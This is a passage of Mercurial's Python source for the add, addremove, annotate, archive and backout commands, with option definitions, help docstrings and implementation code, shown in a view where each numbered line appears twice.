242 - Specific files to be added can be specified::
242 - Specific files to be added can be specified::
243
243
244 $ ls
244 $ ls
245 bar.c foo.c
245 bar.c foo.c
246 $ hg status
246 $ hg status
247 ? bar.c
247 ? bar.c
248 ? foo.c
248 ? foo.c
249 $ hg add bar.c
249 $ hg add bar.c
250 $ hg status
250 $ hg status
251 A bar.c
251 A bar.c
252 ? foo.c
252 ? foo.c
253
253
254 Returns 0 if all files are successfully added.
254 Returns 0 if all files are successfully added.
255 """
255 """
256
256
257 m = scmutil.match(repo[None], pats, pycompat.byteskwargs(opts))
257 m = scmutil.match(repo[None], pats, pycompat.byteskwargs(opts))
258 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
258 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
259 rejected = cmdutil.add(ui, repo, m, b"", uipathfn, False, **opts)
259 rejected = cmdutil.add(ui, repo, m, b"", uipathfn, False, **opts)
260 return rejected and 1 or 0
260 return rejected and 1 or 0
261
261
262
262
263 @command(
263 @command(
264 b'addremove',
264 b'addremove',
265 similarityopts + subrepoopts + walkopts + dryrunopts,
265 similarityopts + subrepoopts + walkopts + dryrunopts,
266 _(b'[OPTION]... [FILE]...'),
266 _(b'[OPTION]... [FILE]...'),
267 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
267 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
268 inferrepo=True,
268 inferrepo=True,
269 )
269 )
270 def addremove(ui, repo, *pats, **opts):
270 def addremove(ui, repo, *pats, **opts):
271 """add all new files, delete all missing files
271 """add all new files, delete all missing files
272
272
273 Add all new files and remove all missing files from the
273 Add all new files and remove all missing files from the
274 repository.
274 repository.
275
275
276 Unless names are given, new files are ignored if they match any of
276 Unless names are given, new files are ignored if they match any of
277 the patterns in ``.hgignore``. As with add, these changes take
277 the patterns in ``.hgignore``. As with add, these changes take
278 effect at the next commit.
278 effect at the next commit.
279
279
280 Use the -s/--similarity option to detect renamed files. This
280 Use the -s/--similarity option to detect renamed files. This
281 option takes a percentage between 0 (disabled) and 100 (files must
281 option takes a percentage between 0 (disabled) and 100 (files must
282 be identical) as its parameter. With a parameter greater than 0,
282 be identical) as its parameter. With a parameter greater than 0,
283 this compares every removed file with every added file and records
283 this compares every removed file with every added file and records
284 those similar enough as renames. Detecting renamed files this way
284 those similar enough as renames. Detecting renamed files this way
285 can be expensive. After using this option, :hg:`status -C` can be
285 can be expensive. After using this option, :hg:`status -C` can be
286 used to check which files were identified as moved or renamed. If
286 used to check which files were identified as moved or renamed. If
287 not specified, -s/--similarity defaults to 100 and only renames of
287 not specified, -s/--similarity defaults to 100 and only renames of
288 identical files are detected.
288 identical files are detected.
289
289
290 .. container:: verbose
290 .. container:: verbose
291
291
292 Examples:
292 Examples:
293
293
294 - A number of files (bar.c and foo.c) are new,
294 - A number of files (bar.c and foo.c) are new,
295 while foobar.c has been removed (without using :hg:`remove`)
295 while foobar.c has been removed (without using :hg:`remove`)
296 from the repository::
296 from the repository::
297
297
298 $ ls
298 $ ls
299 bar.c foo.c
299 bar.c foo.c
300 $ hg status
300 $ hg status
301 ! foobar.c
301 ! foobar.c
302 ? bar.c
302 ? bar.c
303 ? foo.c
303 ? foo.c
304 $ hg addremove
304 $ hg addremove
305 adding bar.c
305 adding bar.c
306 adding foo.c
306 adding foo.c
307 removing foobar.c
307 removing foobar.c
308 $ hg status
308 $ hg status
309 A bar.c
309 A bar.c
310 A foo.c
310 A foo.c
311 R foobar.c
311 R foobar.c
312
312
313 - A file foobar.c was moved to foo.c without using :hg:`rename`.
313 - A file foobar.c was moved to foo.c without using :hg:`rename`.
314 Afterwards, it was edited slightly::
314 Afterwards, it was edited slightly::
315
315
316 $ ls
316 $ ls
317 foo.c
317 foo.c
318 $ hg status
318 $ hg status
319 ! foobar.c
319 ! foobar.c
320 ? foo.c
320 ? foo.c
321 $ hg addremove --similarity 90
321 $ hg addremove --similarity 90
322 removing foobar.c
322 removing foobar.c
323 adding foo.c
323 adding foo.c
324 recording removal of foobar.c as rename to foo.c (94% similar)
324 recording removal of foobar.c as rename to foo.c (94% similar)
325 $ hg status -C
325 $ hg status -C
326 A foo.c
326 A foo.c
327 foobar.c
327 foobar.c
328 R foobar.c
328 R foobar.c
329
329
330 Returns 0 if all files are successfully added.
330 Returns 0 if all files are successfully added.
331 """
331 """
332 opts = pycompat.byteskwargs(opts)
332 opts = pycompat.byteskwargs(opts)
333 if not opts.get(b'similarity'):
333 if not opts.get(b'similarity'):
334 opts[b'similarity'] = b'100'
334 opts[b'similarity'] = b'100'
335 matcher = scmutil.match(repo[None], pats, opts)
335 matcher = scmutil.match(repo[None], pats, opts)
336 relative = scmutil.anypats(pats, opts)
336 relative = scmutil.anypats(pats, opts)
337 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=relative)
337 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=relative)
338 return scmutil.addremove(repo, matcher, b"", uipathfn, opts)
338 return scmutil.addremove(repo, matcher, b"", uipathfn, opts)
339
339
340
340
341 @command(
341 @command(
342 b'annotate|blame',
342 b'annotate|blame',
343 [
343 [
344 (b'r', b'rev', b'', _(b'annotate the specified revision'), _(b'REV')),
344 (b'r', b'rev', b'', _(b'annotate the specified revision'), _(b'REV')),
345 (
345 (
346 b'',
346 b'',
347 b'follow',
347 b'follow',
348 None,
348 None,
349 _(b'follow copies/renames and list the filename (DEPRECATED)'),
349 _(b'follow copies/renames and list the filename (DEPRECATED)'),
350 ),
350 ),
351 (b'', b'no-follow', None, _(b"don't follow copies and renames")),
351 (b'', b'no-follow', None, _(b"don't follow copies and renames")),
352 (b'a', b'text', None, _(b'treat all files as text')),
352 (b'a', b'text', None, _(b'treat all files as text')),
353 (b'u', b'user', None, _(b'list the author (long with -v)')),
353 (b'u', b'user', None, _(b'list the author (long with -v)')),
354 (b'f', b'file', None, _(b'list the filename')),
354 (b'f', b'file', None, _(b'list the filename')),
355 (b'd', b'date', None, _(b'list the date (short with -q)')),
355 (b'd', b'date', None, _(b'list the date (short with -q)')),
356 (b'n', b'number', None, _(b'list the revision number (default)')),
356 (b'n', b'number', None, _(b'list the revision number (default)')),
357 (b'c', b'changeset', None, _(b'list the changeset')),
357 (b'c', b'changeset', None, _(b'list the changeset')),
358 (
358 (
359 b'l',
359 b'l',
360 b'line-number',
360 b'line-number',
361 None,
361 None,
362 _(b'show line number at the first appearance'),
362 _(b'show line number at the first appearance'),
363 ),
363 ),
364 (
364 (
365 b'',
365 b'',
366 b'skip',
366 b'skip',
367 [],
367 [],
368 _(b'revset to not display (EXPERIMENTAL)'),
368 _(b'revset to not display (EXPERIMENTAL)'),
369 _(b'REV'),
369 _(b'REV'),
370 ),
370 ),
371 ]
371 ]
372 + diffwsopts
372 + diffwsopts
373 + walkopts
373 + walkopts
374 + formatteropts,
374 + formatteropts,
375 _(b'[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...'),
375 _(b'[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...'),
376 helpcategory=command.CATEGORY_FILE_CONTENTS,
376 helpcategory=command.CATEGORY_FILE_CONTENTS,
377 helpbasic=True,
377 helpbasic=True,
378 inferrepo=True,
378 inferrepo=True,
379 )
379 )
380 def annotate(ui, repo, *pats, **opts):
380 def annotate(ui, repo, *pats, **opts):
381 """show changeset information by line for each file
381 """show changeset information by line for each file
382
382
383 List changes in files, showing the revision id responsible for
383 List changes in files, showing the revision id responsible for
384 each line.
384 each line.
385
385
386 This command is useful for discovering when a change was made and
386 This command is useful for discovering when a change was made and
387 by whom.
387 by whom.
388
388
389 If you include --file, --user, or --date, the revision number is
389 If you include --file, --user, or --date, the revision number is
390 suppressed unless you also include --number.
390 suppressed unless you also include --number.
391
391
392 Without the -a/--text option, annotate will avoid processing files
392 Without the -a/--text option, annotate will avoid processing files
393 it detects as binary. With -a, annotate will annotate the file
393 it detects as binary. With -a, annotate will annotate the file
394 anyway, although the results will probably be neither useful
394 anyway, although the results will probably be neither useful
395 nor desirable.
395 nor desirable.
396
396
397 .. container:: verbose
397 .. container:: verbose
398
398
399 Template:
399 Template:
400
400
401 The following keywords are supported in addition to the common template
401 The following keywords are supported in addition to the common template
402 keywords and functions. See also :hg:`help templates`.
402 keywords and functions. See also :hg:`help templates`.
403
403
404 :lines: List of lines with annotation data.
404 :lines: List of lines with annotation data.
405 :path: String. Repository-absolute path of the specified file.
405 :path: String. Repository-absolute path of the specified file.
406
406
407 And each entry of ``{lines}`` provides the following sub-keywords in
407 And each entry of ``{lines}`` provides the following sub-keywords in
408 addition to ``{date}``, ``{node}``, ``{rev}``, ``{user}``, etc.
408 addition to ``{date}``, ``{node}``, ``{rev}``, ``{user}``, etc.
409
409
410 :line: String. Line content.
410 :line: String. Line content.
411 :lineno: Integer. Line number at that revision.
411 :lineno: Integer. Line number at that revision.
412 :path: String. Repository-absolute path of the file at that revision.
412 :path: String. Repository-absolute path of the file at that revision.
413
413
414 See :hg:`help templates.operators` for the list expansion syntax.
414 See :hg:`help templates.operators` for the list expansion syntax.
415
415
416 Returns 0 on success.
416 Returns 0 on success.
417 """
417 """
418 opts = pycompat.byteskwargs(opts)
418 opts = pycompat.byteskwargs(opts)
419 if not pats:
419 if not pats:
420 raise error.InputError(
420 raise error.InputError(
421 _(b'at least one filename or pattern is required')
421 _(b'at least one filename or pattern is required')
422 )
422 )
423
423
424 if opts.get(b'follow'):
424 if opts.get(b'follow'):
425 # --follow is deprecated and now just an alias for -f/--file
425 # --follow is deprecated and now just an alias for -f/--file
426 # to mimic the behavior of Mercurial before version 1.5
426 # to mimic the behavior of Mercurial before version 1.5
427 opts[b'file'] = True
427 opts[b'file'] = True
428
428
429 if (
429 if (
430 not opts.get(b'user')
430 not opts.get(b'user')
431 and not opts.get(b'changeset')
431 and not opts.get(b'changeset')
432 and not opts.get(b'date')
432 and not opts.get(b'date')
433 and not opts.get(b'file')
433 and not opts.get(b'file')
434 ):
434 ):
435 opts[b'number'] = True
435 opts[b'number'] = True
436
436
437 linenumber = opts.get(b'line_number') is not None
437 linenumber = opts.get(b'line_number') is not None
438 if (
438 if (
439 linenumber
439 linenumber
440 and (not opts.get(b'changeset'))
440 and (not opts.get(b'changeset'))
441 and (not opts.get(b'number'))
441 and (not opts.get(b'number'))
442 ):
442 ):
443 raise error.InputError(_(b'at least one of -n/-c is required for -l'))
443 raise error.InputError(_(b'at least one of -n/-c is required for -l'))
444
444
445 rev = opts.get(b'rev')
445 rev = opts.get(b'rev')
446 if rev:
446 if rev:
447 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
447 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
448 ctx = logcmdutil.revsingle(repo, rev)
448 ctx = logcmdutil.revsingle(repo, rev)
449
449
450 ui.pager(b'annotate')
450 ui.pager(b'annotate')
451 rootfm = ui.formatter(b'annotate', opts)
451 rootfm = ui.formatter(b'annotate', opts)
452 if ui.debugflag:
452 if ui.debugflag:
453 shorthex = pycompat.identity
453 shorthex = pycompat.identity
454 else:
454 else:
455
455
456 def shorthex(h):
456 def shorthex(h):
457 return h[:12]
457 return h[:12]
458
458
459 if ui.quiet:
459 if ui.quiet:
460 datefunc = dateutil.shortdate
460 datefunc = dateutil.shortdate
461 else:
461 else:
462 datefunc = dateutil.datestr
462 datefunc = dateutil.datestr
463 if ctx.rev() is None:
463 if ctx.rev() is None:
464 if opts.get(b'changeset'):
464 if opts.get(b'changeset'):
465 # omit "+" suffix which is appended to node hex
465 # omit "+" suffix which is appended to node hex
466 def formatrev(rev):
466 def formatrev(rev):
467 if rev == wdirrev:
467 if rev == wdirrev:
468 return b'%d' % ctx.p1().rev()
468 return b'%d' % ctx.p1().rev()
469 else:
469 else:
470 return b'%d' % rev
470 return b'%d' % rev
471
471
472 else:
472 else:
473
473
474 def formatrev(rev):
474 def formatrev(rev):
475 if rev == wdirrev:
475 if rev == wdirrev:
476 return b'%d+' % ctx.p1().rev()
476 return b'%d+' % ctx.p1().rev()
477 else:
477 else:
478 return b'%d ' % rev
478 return b'%d ' % rev
479
479
480 def formathex(h):
480 def formathex(h):
481 if h == repo.nodeconstants.wdirhex:
481 if h == repo.nodeconstants.wdirhex:
482 return b'%s+' % shorthex(hex(ctx.p1().node()))
482 return b'%s+' % shorthex(hex(ctx.p1().node()))
483 else:
483 else:
484 return b'%s ' % shorthex(h)
484 return b'%s ' % shorthex(h)
485
485
486 else:
486 else:
487 formatrev = b'%d'.__mod__
487 formatrev = b'%d'.__mod__
488 formathex = shorthex
488 formathex = shorthex
489
489
490 opmap = [
490 opmap = [
491 (b'user', b' ', lambda x: x.fctx.user(), ui.shortuser),
491 (b'user', b' ', lambda x: x.fctx.user(), ui.shortuser),
492 (b'rev', b' ', lambda x: scmutil.intrev(x.fctx), formatrev),
492 (b'rev', b' ', lambda x: scmutil.intrev(x.fctx), formatrev),
493 (b'node', b' ', lambda x: hex(scmutil.binnode(x.fctx)), formathex),
493 (b'node', b' ', lambda x: hex(scmutil.binnode(x.fctx)), formathex),
494 (b'date', b' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
494 (b'date', b' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
495 (b'path', b' ', lambda x: x.fctx.path(), pycompat.bytestr),
495 (b'path', b' ', lambda x: x.fctx.path(), pycompat.bytestr),
496 (b'lineno', b':', lambda x: x.lineno, pycompat.bytestr),
496 (b'lineno', b':', lambda x: x.lineno, pycompat.bytestr),
497 ]
497 ]
498 opnamemap = {
498 opnamemap = {
499 b'rev': b'number',
499 b'rev': b'number',
500 b'node': b'changeset',
500 b'node': b'changeset',
501 b'path': b'file',
501 b'path': b'file',
502 b'lineno': b'line_number',
502 b'lineno': b'line_number',
503 }
503 }
504
504
505 if rootfm.isplain():
505 if rootfm.isplain():
506
506
507 def makefunc(get, fmt):
507 def makefunc(get, fmt):
508 return lambda x: fmt(get(x))
508 return lambda x: fmt(get(x))
509
509
510 else:
510 else:
511
511
512 def makefunc(get, fmt):
512 def makefunc(get, fmt):
513 return get
513 return get
514
514
515 datahint = rootfm.datahint()
515 datahint = rootfm.datahint()
516 funcmap = [
516 funcmap = [
517 (makefunc(get, fmt), sep)
517 (makefunc(get, fmt), sep)
518 for fn, sep, get, fmt in opmap
518 for fn, sep, get, fmt in opmap
519 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
519 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
520 ]
520 ]
521 funcmap[0] = (funcmap[0][0], b'') # no separator in front of first column
521 funcmap[0] = (funcmap[0][0], b'') # no separator in front of first column
522 fields = b' '.join(
522 fields = b' '.join(
523 fn
523 fn
524 for fn, sep, get, fmt in opmap
524 for fn, sep, get, fmt in opmap
525 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
525 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
526 )
526 )
527
527
528 def bad(x, y):
528 def bad(x, y):
529 raise error.InputError(b"%s: %s" % (x, y))
529 raise error.InputError(b"%s: %s" % (x, y))
530
530
531 m = scmutil.match(ctx, pats, opts, badfn=bad)
531 m = scmutil.match(ctx, pats, opts, badfn=bad)
532
532
533 follow = not opts.get(b'no_follow')
533 follow = not opts.get(b'no_follow')
534 diffopts = patch.difffeatureopts(
534 diffopts = patch.difffeatureopts(
535 ui, opts, section=b'annotate', whitespace=True
535 ui, opts, section=b'annotate', whitespace=True
536 )
536 )
537 skiprevs = opts.get(b'skip')
537 skiprevs = opts.get(b'skip')
538 if skiprevs:
538 if skiprevs:
539 skiprevs = logcmdutil.revrange(repo, skiprevs)
539 skiprevs = logcmdutil.revrange(repo, skiprevs)
540
540
541 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
541 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
542 for abs in ctx.walk(m):
542 for abs in ctx.walk(m):
543 fctx = ctx[abs]
543 fctx = ctx[abs]
544 rootfm.startitem()
544 rootfm.startitem()
545 rootfm.data(path=abs)
545 rootfm.data(path=abs)
546 if not opts.get(b'text') and fctx.isbinary():
546 if not opts.get(b'text') and fctx.isbinary():
547 rootfm.plain(_(b"%s: binary file\n") % uipathfn(abs))
547 rootfm.plain(_(b"%s: binary file\n") % uipathfn(abs))
548 continue
548 continue
549
549
550 fm = rootfm.nested(b'lines', tmpl=b'{rev}: {line}')
550 fm = rootfm.nested(b'lines', tmpl=b'{rev}: {line}')
551 lines = fctx.annotate(
551 lines = fctx.annotate(
552 follow=follow, skiprevs=skiprevs, diffopts=diffopts
552 follow=follow, skiprevs=skiprevs, diffopts=diffopts
553 )
553 )
554 if not lines:
554 if not lines:
555 fm.end()
555 fm.end()
556 continue
556 continue
557 formats = []
557 formats = []
558 pieces = []
558 pieces = []
559
559
560 for f, sep in funcmap:
560 for f, sep in funcmap:
561 l = [f(n) for n in lines]
561 l = [f(n) for n in lines]
562 if fm.isplain():
562 if fm.isplain():
563 sizes = [encoding.colwidth(x) for x in l]
563 sizes = [encoding.colwidth(x) for x in l]
564 ml = max(sizes)
564 ml = max(sizes)
565 formats.append([sep + b' ' * (ml - w) + b'%s' for w in sizes])
565 formats.append([sep + b' ' * (ml - w) + b'%s' for w in sizes])
566 else:
566 else:
567 formats.append([b'%s'] * len(l))
567 formats.append([b'%s'] * len(l))
568 pieces.append(l)
568 pieces.append(l)
569
569
570 for f, p, n in zip(zip(*formats), zip(*pieces), lines):
570 for f, p, n in zip(zip(*formats), zip(*pieces), lines):
571 fm.startitem()
571 fm.startitem()
572 fm.context(fctx=n.fctx)
572 fm.context(fctx=n.fctx)
573 fm.write(fields, b"".join(f), *p)
573 fm.write(fields, b"".join(f), *p)
574 if n.skip:
574 if n.skip:
575 fmt = b"* %s"
575 fmt = b"* %s"
576 else:
576 else:
577 fmt = b": %s"
577 fmt = b": %s"
578 fm.write(b'line', fmt, n.text)
578 fm.write(b'line', fmt, n.text)
579
579
580 if not lines[-1].text.endswith(b'\n'):
580 if not lines[-1].text.endswith(b'\n'):
581 fm.plain(b'\n')
581 fm.plain(b'\n')
582 fm.end()
582 fm.end()
583
583
584 rootfm.end()
584 rootfm.end()
585
585
586
586
587 @command(
587 @command(
588 b'archive',
588 b'archive',
589 [
589 [
590 (b'', b'no-decode', None, _(b'do not pass files through decoders')),
590 (b'', b'no-decode', None, _(b'do not pass files through decoders')),
591 (
591 (
592 b'p',
592 b'p',
593 b'prefix',
593 b'prefix',
594 b'',
594 b'',
595 _(b'directory prefix for files in archive'),
595 _(b'directory prefix for files in archive'),
596 _(b'PREFIX'),
596 _(b'PREFIX'),
597 ),
597 ),
598 (b'r', b'rev', b'', _(b'revision to distribute'), _(b'REV')),
598 (b'r', b'rev', b'', _(b'revision to distribute'), _(b'REV')),
599 (b't', b'type', b'', _(b'type of distribution to create'), _(b'TYPE')),
599 (b't', b'type', b'', _(b'type of distribution to create'), _(b'TYPE')),
600 ]
600 ]
601 + subrepoopts
601 + subrepoopts
602 + walkopts,
602 + walkopts,
603 _(b'[OPTION]... DEST'),
603 _(b'[OPTION]... DEST'),
604 helpcategory=command.CATEGORY_IMPORT_EXPORT,
604 helpcategory=command.CATEGORY_IMPORT_EXPORT,
605 )
605 )
606 def archive(ui, repo, dest, **opts):
606 def archive(ui, repo, dest, **opts):
607 """create an unversioned archive of a repository revision
607 """create an unversioned archive of a repository revision
608
608
609 By default, the revision used is the parent of the working
609 By default, the revision used is the parent of the working
610 directory; use -r/--rev to specify a different revision.
610 directory; use -r/--rev to specify a different revision.
611
611
612 The archive type is automatically detected based on file
612 The archive type is automatically detected based on file
613 extension (to override, use -t/--type).
613 extension (to override, use -t/--type).
614
614
615 .. container:: verbose
615 .. container:: verbose
616
616
617 Examples:
617 Examples:
618
618
619 - create a zip file containing the 1.0 release::
619 - create a zip file containing the 1.0 release::
620
620
621 hg archive -r 1.0 project-1.0.zip
621 hg archive -r 1.0 project-1.0.zip
622
622
623 - create a tarball excluding .hg files::
623 - create a tarball excluding .hg files::
624
624
625 hg archive project.tar.gz -X ".hg*"
625 hg archive project.tar.gz -X ".hg*"
626
626
627 Valid types are:
627 Valid types are:
628
628
629 :``files``: a directory full of files (default)
629 :``files``: a directory full of files (default)
630 :``tar``: tar archive, uncompressed
630 :``tar``: tar archive, uncompressed
631 :``tbz2``: tar archive, compressed using bzip2
631 :``tbz2``: tar archive, compressed using bzip2
632 :``tgz``: tar archive, compressed using gzip
632 :``tgz``: tar archive, compressed using gzip
633 :``txz``: tar archive, compressed using lzma (only in Python 3)
633 :``txz``: tar archive, compressed using lzma (only in Python 3)
634 :``uzip``: zip archive, uncompressed
634 :``uzip``: zip archive, uncompressed
635 :``zip``: zip archive, compressed using deflate
635 :``zip``: zip archive, compressed using deflate
636
636
637 The exact name of the destination archive or directory is given
637 The exact name of the destination archive or directory is given
638 using a format string; see :hg:`help export` for details.
638 using a format string; see :hg:`help export` for details.
639
639
640 Each member added to an archive file has a directory prefix
640 Each member added to an archive file has a directory prefix
641 prepended. Use -p/--prefix to specify a format string for the
641 prepended. Use -p/--prefix to specify a format string for the
642 prefix. The default is the basename of the archive, with suffixes
642 prefix. The default is the basename of the archive, with suffixes
643 removed.
643 removed.
644
644
645 Returns 0 on success.
645 Returns 0 on success.
646 """
646 """
647
647
648 opts = pycompat.byteskwargs(opts)
648 opts = pycompat.byteskwargs(opts)
649 rev = opts.get(b'rev')
649 rev = opts.get(b'rev')
650 if rev:
650 if rev:
651 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
651 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
652 ctx = logcmdutil.revsingle(repo, rev)
652 ctx = logcmdutil.revsingle(repo, rev)
653 if not ctx:
653 if not ctx:
654 raise error.InputError(
654 raise error.InputError(
655 _(b'no working directory: please specify a revision')
655 _(b'no working directory: please specify a revision')
656 )
656 )
657 node = ctx.node()
657 node = ctx.node()
658 dest = cmdutil.makefilename(ctx, dest)
658 dest = cmdutil.makefilename(ctx, dest)
659 if os.path.realpath(dest) == repo.root:
659 if os.path.realpath(dest) == repo.root:
660 raise error.InputError(_(b'repository root cannot be destination'))
660 raise error.InputError(_(b'repository root cannot be destination'))
661
661
662 kind = opts.get(b'type') or archival.guesskind(dest) or b'files'
662 kind = opts.get(b'type') or archival.guesskind(dest) or b'files'
663 prefix = opts.get(b'prefix')
663 prefix = opts.get(b'prefix')
664
664
665 if dest == b'-':
665 if dest == b'-':
666 if kind == b'files':
666 if kind == b'files':
667 raise error.InputError(_(b'cannot archive plain files to stdout'))
667 raise error.InputError(_(b'cannot archive plain files to stdout'))
668 dest = cmdutil.makefileobj(ctx, dest)
668 dest = cmdutil.makefileobj(ctx, dest)
669 if not prefix:
669 if not prefix:
670 prefix = os.path.basename(repo.root) + b'-%h'
670 prefix = os.path.basename(repo.root) + b'-%h'
671
671
672 prefix = cmdutil.makefilename(ctx, prefix)
672 prefix = cmdutil.makefilename(ctx, prefix)
673 match = scmutil.match(ctx, [], opts)
673 match = scmutil.match(ctx, [], opts)
674 archival.archive(
674 archival.archive(
675 repo,
675 repo,
676 dest,
676 dest,
677 node,
677 node,
678 kind,
678 kind,
679 not opts.get(b'no_decode'),
679 not opts.get(b'no_decode'),
680 match,
680 match,
681 prefix,
681 prefix,
682 subrepos=opts.get(b'subrepos'),
682 subrepos=opts.get(b'subrepos'),
683 )
683 )
684
684
685
685
686 @command(
686 @command(
687 b'backout',
687 b'backout',
688 [
688 [
689 (
689 (
690 b'',
690 b'',
691 b'merge',
691 b'merge',
692 None,
692 None,
693 _(b'merge with old dirstate parent after backout'),
693 _(b'merge with old dirstate parent after backout'),
694 ),
694 ),
695 (
695 (
696 b'',
696 b'',
697 b'commit',
697 b'commit',
698 None,
698 None,
699 _(b'commit if no conflicts were encountered (DEPRECATED)'),
699 _(b'commit if no conflicts were encountered (DEPRECATED)'),
700 ),
700 ),
701 (b'', b'no-commit', None, _(b'do not commit')),
701 (b'', b'no-commit', None, _(b'do not commit')),
702 (
702 (
703 b'',
703 b'',
704 b'parent',
704 b'parent',
705 b'',
705 b'',
706 _(b'parent to choose when backing out merge (DEPRECATED)'),
706 _(b'parent to choose when backing out merge (DEPRECATED)'),
707 _(b'REV'),
707 _(b'REV'),
708 ),
708 ),
709 (b'r', b'rev', b'', _(b'revision to backout'), _(b'REV')),
709 (b'r', b'rev', b'', _(b'revision to backout'), _(b'REV')),
710 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
710 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
711 ]
711 ]
712 + mergetoolopts
712 + mergetoolopts
713 + walkopts
713 + walkopts
714 + commitopts
714 + commitopts
715 + commitopts2,
715 + commitopts2,
716 _(b'[OPTION]... [-r] REV'),
716 _(b'[OPTION]... [-r] REV'),
717 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
717 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
718 )
718 )
719 def backout(ui, repo, node=None, rev=None, **opts):
719 def backout(ui, repo, node=None, rev=None, **opts):
720 """reverse effect of earlier changeset
720 """reverse effect of earlier changeset
721
721
722 Prepare a new changeset with the effect of REV undone in the
722 Prepare a new changeset with the effect of REV undone in the
723 current working directory. If no conflicts were encountered,
723 current working directory. If no conflicts were encountered,
724 it will be committed immediately.
724 it will be committed immediately.
725
725
726 If REV is the parent of the working directory, then this new changeset
726 If REV is the parent of the working directory, then this new changeset
727 is committed automatically (unless --no-commit is specified).
727 is committed automatically (unless --no-commit is specified).
728
728
729 .. note::
729 .. note::
730
730
731 :hg:`backout` cannot be used to fix either an unwanted or
731 :hg:`backout` cannot be used to fix either an unwanted or
732 incorrect merge.
732 incorrect merge.
733
733
734 .. container:: verbose
734 .. container:: verbose
735
735
736 Examples:
736 Examples:
737
737
738 - Reverse the effect of the parent of the working directory.
738 - Reverse the effect of the parent of the working directory.
739 This backout will be committed immediately::
739 This backout will be committed immediately::
740
740
741 hg backout -r .
741 hg backout -r .
742
742
743 - Reverse the effect of previous bad revision 23::
743 - Reverse the effect of previous bad revision 23::
744
744
745 hg backout -r 23
745 hg backout -r 23
746
746
747 - Reverse the effect of previous bad revision 23 and
747 - Reverse the effect of previous bad revision 23 and
748 leave changes uncommitted::
748 leave changes uncommitted::
749
749
750 hg backout -r 23 --no-commit
750 hg backout -r 23 --no-commit
751 hg commit -m "Backout revision 23"
751 hg commit -m "Backout revision 23"
752
752
753 By default, the pending changeset will have one parent,
753 By default, the pending changeset will have one parent,
754 maintaining a linear history. With --merge, the pending
754 maintaining a linear history. With --merge, the pending
755 changeset will instead have two parents: the old parent of the
755 changeset will instead have two parents: the old parent of the
756 working directory and a new child of REV that simply undoes REV.
756 working directory and a new child of REV that simply undoes REV.
757
757
758 Before version 1.7, the behavior without --merge was equivalent
758 Before version 1.7, the behavior without --merge was equivalent
759 to specifying --merge followed by :hg:`update --clean .` to
759 to specifying --merge followed by :hg:`update --clean .` to
760 cancel the merge and leave the child of REV as a head to be
760 cancel the merge and leave the child of REV as a head to be
761 merged separately.
761 merged separately.
762
762
763 See :hg:`help dates` for a list of formats valid for -d/--date.
763 See :hg:`help dates` for a list of formats valid for -d/--date.
764
764
765 See :hg:`help revert` for a way to restore files to the state
765 See :hg:`help revert` for a way to restore files to the state
766 of another revision.
766 of another revision.
767
767
768 Returns 0 on success, 1 if nothing to backout or there are unresolved
768 Returns 0 on success, 1 if nothing to backout or there are unresolved
769 files.
769 files.
770 """
770 """
771 with repo.wlock(), repo.lock():
771 with repo.wlock(), repo.lock():
772 return _dobackout(ui, repo, node, rev, **opts)
772 return _dobackout(ui, repo, node, rev, **opts)
773
773
774
774
775 def _dobackout(ui, repo, node=None, rev=None, **opts):
775 def _dobackout(ui, repo, node=None, rev=None, **opts):
776 cmdutil.check_incompatible_arguments(opts, 'no_commit', ['commit', 'merge'])
776 cmdutil.check_incompatible_arguments(opts, 'no_commit', ['commit', 'merge'])
777 opts = pycompat.byteskwargs(opts)
777 opts = pycompat.byteskwargs(opts)
778
778
779 if rev and node:
779 if rev and node:
780 raise error.InputError(_(b"please specify just one revision"))
780 raise error.InputError(_(b"please specify just one revision"))
781
781
782 if not rev:
782 if not rev:
783 rev = node
783 rev = node
784
784
785 if not rev:
785 if not rev:
786 raise error.InputError(_(b"please specify a revision to backout"))
786 raise error.InputError(_(b"please specify a revision to backout"))
787
787
788 date = opts.get(b'date')
788 date = opts.get(b'date')
789 if date:
789 if date:
790 opts[b'date'] = dateutil.parsedate(date)
790 opts[b'date'] = dateutil.parsedate(date)
791
791
792 cmdutil.checkunfinished(repo)
792 cmdutil.checkunfinished(repo)
793 cmdutil.bailifchanged(repo)
793 cmdutil.bailifchanged(repo)
794 ctx = logcmdutil.revsingle(repo, rev)
794 ctx = logcmdutil.revsingle(repo, rev)
795 node = ctx.node()
795 node = ctx.node()
796
796
797 op1, op2 = repo.dirstate.parents()
797 op1, op2 = repo.dirstate.parents()
798 if not repo.changelog.isancestor(node, op1):
798 if not repo.changelog.isancestor(node, op1):
799 raise error.InputError(
799 raise error.InputError(
800 _(b'cannot backout change that is not an ancestor')
800 _(b'cannot backout change that is not an ancestor')
801 )
801 )
802
802
803 p1, p2 = repo.changelog.parents(node)
803 p1, p2 = repo.changelog.parents(node)
804 if p1 == repo.nullid:
804 if p1 == repo.nullid:
805 raise error.InputError(_(b'cannot backout a change with no parents'))
805 raise error.InputError(_(b'cannot backout a change with no parents'))
806 if p2 != repo.nullid:
806 if p2 != repo.nullid:
807 if not opts.get(b'parent'):
807 if not opts.get(b'parent'):
808 raise error.InputError(_(b'cannot backout a merge changeset'))
808 raise error.InputError(_(b'cannot backout a merge changeset'))
809 p = repo.lookup(opts[b'parent'])
